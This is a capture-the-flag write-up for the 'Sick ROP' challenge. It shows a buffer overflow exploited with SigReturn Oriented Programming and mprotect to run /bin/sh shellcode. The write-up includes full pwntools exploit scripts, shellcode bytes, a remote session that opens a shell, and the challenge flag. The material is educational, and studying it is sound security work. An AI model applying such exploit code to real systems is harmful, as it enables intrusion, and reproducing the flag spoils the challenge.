Sick ROP
8 minutes to read
We are given a 64-bit binary called sick_rop
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The binary is so small that we can print the full assembly here:
$ objdump -M intel -d sick_rop
sick_rop: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <read>:
401000: b8 00 00 00 00 mov eax,0x0
401005: bf 00 00 00 00 mov edi,0x0
40100a: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
40100f: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
401014: 0f 05 syscall
401016: c3 ret
0000000000401017 <write>:
401017: b8 01 00 00 00 mov eax,0x1
40101c: bf 01 00 00 00 mov edi,0x1
401021: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
401026: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
40102b: 0f 05 syscall
40102d: c3 ret
000000000040102e <vuln>:
40102e: 55 push rbp
40102f: 48 89 e5 mov rbp,rsp
401032: 48 83 ec 20 sub rsp,0x20
401036: 49 89 e2 mov r10,rsp
401039: 68 00 03 00 00 push 0x300
40103e: 41 52 push r10
401040: e8 bb ff ff ff call 401000 <read>
401045: 50 push rax
401046: 41 52 push r10
401048: e8 ca ff ff ff call 401017 <write>
40104d: c9 leave
40104e: c3 ret
000000000040104f <_start>:
40104f: e8 da ff ff ff call 40102e <vuln>
401054: eb f9 jmp 40104f <_start>
There is a Buffer Overflow vulnerability because the read
function is storing until 0x300
bytes directly on the stack, and only 0x20
(32) bytes where reserved as buffer.
We need 32 + 8 = 40 bytes to reach $rip
(the 8 bytes are for $rbp
), let’s see if it crashes:
$ python3 -c 'print("A" * 40 + "BBBBBBBB")' | ./sick_rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
zsh: done python3 -c 'print("A" * 40 + "BBBBBBBB")' |
zsh: segmentation fault (core dumped) ./sick_rop
It has NX protection, so we must use Return Oriented Programming (ROP) to exploit a Buffer Overflow vulnerability. However, since the binary is too short, we have only a few gadgets:
$ ROPgadget --binary sick_rop
Gadgets information
============================================================
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall
Unique gadgets found: 16
Another thing to notice is that the binary is statically compiled:
$ file sick_rop
sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
We cannot use a ret2libc technique. Moreover, we will not be able to perform an execve("/bin/sh", 0, 0)
as a syscall
because we do not have useful gadgets for that purpose.
However, we can use a technique called SROP (SigReturn Oriented Programming), which consists of using a syscall
named sys_rt_sigreturn
that restores a stack frame into the registers. After that, we will be able to use another syscall
, which is mprotect
and change the memory permissions to rwx
(read, write and execute). Once that is handled, we can enter shellcode on that memory segment and execute it (bypassing NX).
To make a sys_rt_sigreturn
we need $rax
to be 0xf
(15) and the stack filled with the values of the registers we want to restore.
To execute a sys_mprotect
we need $rax
to be 0xa
(10), $rdi
to have the address where the memory segment starts, $rsi
with the size of the segment and $rdx
with the permissions in bits (like chmod
in Linux).
First, we need to find a way to control $rax
. This is simple since read
will put the length of the input string in $rax
, which can be tested using GDB:
$ gdb -q sick_rop
Reading symbols from sick_rop...
(No debugging symbols found in sick_rop)
gef➤ break vuln
Breakpoint 1 at 0x401032
gef➤ run
Starting program: ./sick_rop
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ c
Continuing.
123456789
123456789
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ p $rax
$1 = 0xa
It has a value of 0xa
(10) because we entered 9 characters plus a new line character. So we have control over $rax
.
Since we have enough space to write on the stack (nearly 0x300
bytes), we will overwrite $rip
with the address of vuln
and after that we will enter a syscall; ret
gadget (address 0x401014
) and then the sys_rt_sigreturn
frame with the values of the registers.
We must do this because we need to call read
again and enter 15 bytes (0xf
), so that the next instruction is the gadget syscall; ret
with $rax = 0xf
and the sys_rt_sigreturn
operation is performed.
To handle the SROP, pwntools
provides a class called SigreturnFrame
that allows to set the values of the registers and then parse it into bytes format:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
This payload will prepare the sys_rt_sigreturn
instruction. Using ROP, the binary will call vuln
, so that we can enter 15 bytes to put $rax = 0xf
and perform the sys_rt_sigreturn
instruction. Then, the previous register configuration will be set. After that, the next instruction will be the syscall; ret
gadget (again, because $rip
was set to the address of that gadget on the sys_rt_sigreturn
process) and thus the sys_mprotect
instruction will be performed, changing the permissions of a binary segment to be rwx
.
Notice that $rsp
was also changed during the sys_rt_sigreturn
operation to point to an address of this segment that was changed during sys_mprotect
, so that the shellcode we will enter later is stored in a fix address (no PIE protection), because we do not have jmp $rsp
gadgets. This address is just a pointer to the address of vuln
:
gef➤ p vuln
$2 = {<text variable, no debug info>} 0x40102e <vuln>
gef➤ grep 0x40102e
[+] Searching '\x2e\x10\x40' in memory
[+] In './sick_rop'(0x401000-0x402000), permission=r-x
0x4010d8 - 0x4010e4 → "\x2e\x10\x40[...]"
Let’s update the Python exploit and attach GDB to the process using pwntools
:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def main():
p = elf.process()
gdb attach(p, gdbscript='break vuln')
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = b'C' * 32
payload = junk
payload += b'D' * 8
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
If we run it, GDB will attach to the process. We can continue until we get a segmentation fault. At this point, we can print the values on the stack to see where the shellcode will be (C
characters, 0x43
):
gef➤ x/20x $rsp
0x4010e0: 0x44444444 0x44444444 0x43434343 0x43434343
0x4010f0: 0x43434343 0x43434343 0x43434343 0x43434343
0x401100: 0x43434343 0x43434343 0x00402000 0x00000000
0x401110: 0x00000000 0x00000000 0x00000025 0x00010010
0x401120: 0x00402000 0x00000000 0x00000000 0x00000000
As it is shown, the 8 D
are at 0x4010e0
, so the shellcode starts at 0x4010e8
. Now we can look for a 64-bit shellcode like this one: https://www.exploit-db.com/exploits/46907 and overwrite $rip
with 0x4010e8
. This is the final Python exploit:
#!/usr/bin/env python3
from pwn import context, p64, remote, ROP, SigreturnFrame, sys
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = (b'\x48\x31\xf6\x56\x48\xbf\x2f\x62'
b'\x69\x6e\x2f\x2f\x73\x68\x57\x54'
b'\x5f\x6a\x3b\x58\x99\x0f\x05')
payload = junk
payload += p64(0x4010e8)
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
We can run it locally:
$ python3 solve.py
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Starting local process './sick_rop': pid 1255400
[*] Switching to interactive mode
$ ls
sick_rop solve.py
Alright, now let’s run it on server side:
$ python3 solve.py 157.245.35.236:30174
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Opening connection to 157.245.35.236 on port 30174: Done
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}